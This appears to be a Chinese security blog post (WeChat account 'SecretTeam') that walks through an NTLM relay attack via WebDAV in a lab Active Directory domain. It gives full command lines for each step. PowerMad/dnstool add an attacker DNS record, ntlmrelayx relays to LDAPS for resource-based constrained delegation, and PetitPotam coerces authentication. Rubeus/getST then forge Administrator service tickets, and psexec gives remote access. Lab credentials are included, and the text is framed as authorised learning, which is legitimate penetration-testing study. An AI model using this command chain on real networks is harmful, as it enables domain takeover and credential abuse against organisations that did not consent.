朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把SecretTeam安全团队“设为星标”,否则可能就看不到了啦!
免责声明
"本文档所提供的信息旨在帮助网络安全专业人员更好地理解并维护他们负责的网站和服务器等系统。我们鼓励在获得适当授权的情况下使用这些信息。请注意,任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。"
"我们创建这个社区是为了促进技术交流和知识分享。我们希望每位成员都能在遵守法律法规的前提下参与讨论和学习。如果使用本文档中的信息导致任何直接或间接的后果和损失,我们提醒您,这将由您个人承担。我们不承担由此产生的任何责任。如果有任何内容侵犯了您的权益,请随时告知我们,我们将立即采取行动并表示诚挚的歉意。我们感谢您的理解和支持。"
1. 前言
NTLM Relay大家已经不再陌生了,NTLM Relay攻击作为一种常见的网络安全攻击手段,已经被广大网络安全从业者所熟知。然而,在实际攻击过程中,协议签名(如LDAP/S、SMB等协议的签名机制)往往会成为攻击的“拦路虎”,导致攻击无法顺利实施。随着网络安全技术的不断发展和完善,那些忽略签名的SMB等服务也越来越难被发现,这给NTLM Relay攻击带来了更大的挑战。
那么,我们该如何突破服务端验证签名的限制,实现有效的Relay攻击呢?经过深入研究和实践,我们发现了一种可行的思路:寻找那些不支持签名的服务,从而绕过服务端的签名校验。因为如果客户端本身不支持签名验证,服务端在与之通信时,通常不会强制要求进行签名认证。基于这一原理,我们可以将目光投向HTTP服务中的WebDAV功能,尝试利用它来开展Relay攻击。
2. 什么是WebDav
WebDAV(Web Distributed Authoring and Versioning,即分布式作者和版本控制)是一组基于超文本传输协议(HTTP)的技术集合。它扩展了HTTP协议的功能,使得用户能够更高效地协同编辑和管理存储在万维网服务器上的文档。简单来说,WebDAV 就是一种基于互联网的文件管理方法,允许用户在服务器上划分存储空间,并通过用户名和密码进行访问控制,从而实现文件的存储、下载和编辑等功能。
在 Windows 系统中,WebDAV 通过 WebClient 服务 来实现。该服务允许 Windows 程序通过 WebDAV 协议与服务器进行交互,从而创建、读取和写入服务器上的文件。WebDAV 的通信过程基于 HTTP 协议,客户端可以通过 WebDAV 与服务器进行文件操作。
当客户端访问 WebDAV 服务时,如果服务器启用了 Windows 身份验证机制,那么客户端可以利用域内的凭证(如用户名和密码)进行身份验证,从而访问服务。这种基于域凭证的访问方式,使得 WebDAV 在企业环境中具有较高的便利性和安全性。
2.1 WebDAV 的特点
基于 HTTP 协议:
WebDAV 利用现有的 HTTP 协议,因此可以无缝集成到现有的网络环境中。
支持文件操作:
用户可以通过 WebDAV 进行文件的创建、读取、写入、删除等操作,类似于本地文件系统。
身份验证机制:
支持多种身份验证方式,包括 Windows 身份验证,确保了访问的安全性。 跨平台支持:WebDAV 不仅支持 Windows 系统,还可以在其他操作系统上实现类似的功能。
2.2 WebDAV 在网络安全中的重要性
WebDAV 的这些特性使其在网络安全领域具有重要的研究价值。特别是在 NTLM Relay 攻击中,WebDAV 提供了一种绕过服务端签名验证的潜在途径。由于 WebDAV 通常不强制要求签名认证,攻击者可以利用这一点来实现 Relay 攻击,从而绕过一些常见的安全防护机制。
3. 攻击步骤
-
拿到一枚域用户 -
探测开启WebDav的服务器 -
在域内为攻击机添加DNS解析 -
使用Responder进行中继与委派 -
强制WebDav服务器认证攻击机 -
执行基于资源的约束委派攻击
4. 攻击流程
4.1 探测WebDav服务
拿到域内权限后,通过GetWebDAVStatus.exe
探测内网中开放WebDav的服务器。
发现目标后,为了让Relay顺利进行,我们可以添加一份DNS A记录,从而使得WebDav通过默认凭据来对我们进行身份验证,由于在Windows当中,WebDav由WebClient服务实现,而WebClient服务仅对内网以及受信任站点中的目标来采用默认凭据进行身份验证。
4.2 添加DNS解析
4.2.1 域内使用PowerMad添加
此处我们使用PowerMad进行添加DNS A解析记录,此处我们添加解析记录,普通域用户也可添加,并非只有域管用户才可操作。
import-module .invoke-DNSupdate.ps1
Invoke-DNSUpdate -DNSType A -DNSName evil.pentest.local -DNSData 10.0.10.128
紧接着使用ipconfig /flushdns
刷新dns本地缓存后可以看到使用ping命令即可成功解析我们所添加的记录
4.2.1 域外使用dnstool.py添加
python3 dnstool.py -u pentest.local\Sharp -p Admin#123 -r evil.pentest.local -d 10.0.10.128 --action add ws01.pentest.local
4.3 准备NTLM Relay
回到攻击机进行操作。
利用Impacket项目ntlmrelayx.py执行攻击,指定LDAP协议进行身份验证,目标主机设置为域控,利用-delegate-access选项执行基于资源的约束委派攻击。
python3 ntlmrelayx.py -t ldaps://ws01 --delegate-access -smb2support
4.4 强制认证主机创建机器账户
回到被我们控制的主机,使用PetitPotam 强制WebDav服务器认证我们的攻击机,此处不可使用ip进行强制认证,使用我们先前添加的DNS解析进行强制认证,此处的@符号前为主机名,后为端口号。
4.4.1 域内认证
PetitPotam.exe evil@80/evil.cnf 10.0.10.110
4.4.2 域外认证
python3 PetitPotam.py -u sharp -p Admin#123 -d pentest.local evil@80/ad 10.0.10.110
这时候,回到攻击机查看可以发现,我们此时已经通过ws03$的身份,创建了一个机器账户
这时我们回到域控查看WebDav服务器,可以发现msDS-KeyCredentialLink 属性已经被修改。
4.5 申请票据
4.5.1 域内申请票据
此时,我们便可以通过S4U扩展协议来申请访问WebDav目标机的ST票据了。
将密码转为hash,便于我们进行使用Rubeus进行申请票据
.Rubeus.exe hash /domain:pentest.local /user:RUVEPAFW$ /password:'gm9wPzATZ<RT5Ei'
.Rubeus.exe s4u /user:RUVEPAFW$ /rc4:4A5AD55249E75BB39F928EFB55A8A81B /impersonateuser:Administrator /msdsspn:host/ws03.pentest.local /altservice:cifs /nowrap /ptt
由于开启了PTT模块,此时我们缓存中已经加载了申请来的ST票据,拥有了访问WS03机器共享目录权限。
当然,我们也可以将申请到的kirbi票据除空格后解码base64,利用ticketConverter转为cacche格式,于域外利用
echo'payload' | base64 -d > administrator.kirbi
python3 ticketConverter.py administrator.kirbi administrator.ccache
export KRB5CCNAME=/opt/tools/impacket/examples/administrator.ccache
python3 psexec.py -no-pass -k ws03.pentest.local
4.5.2 域外申请票据
参考委派,使用机器账户身份申请ST票据
python3 getST.py -dc-ip 10.0.10.111 pentest/RUVEPAFW$ -spn cifs/ws03.pentest.local -impersonate administrator
5. 工具获取
内网扫描webDav的工具下载,回复 GetWebDAVStatus 即可获取
推荐历史文章阅读
原文始发于微信公众号(SecretTeam安全团队):通过WebDav进行NTLM Relay
原文始发于微信公众号(SecretTeam安全团队):通过WebDav进行NTLM Relay
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论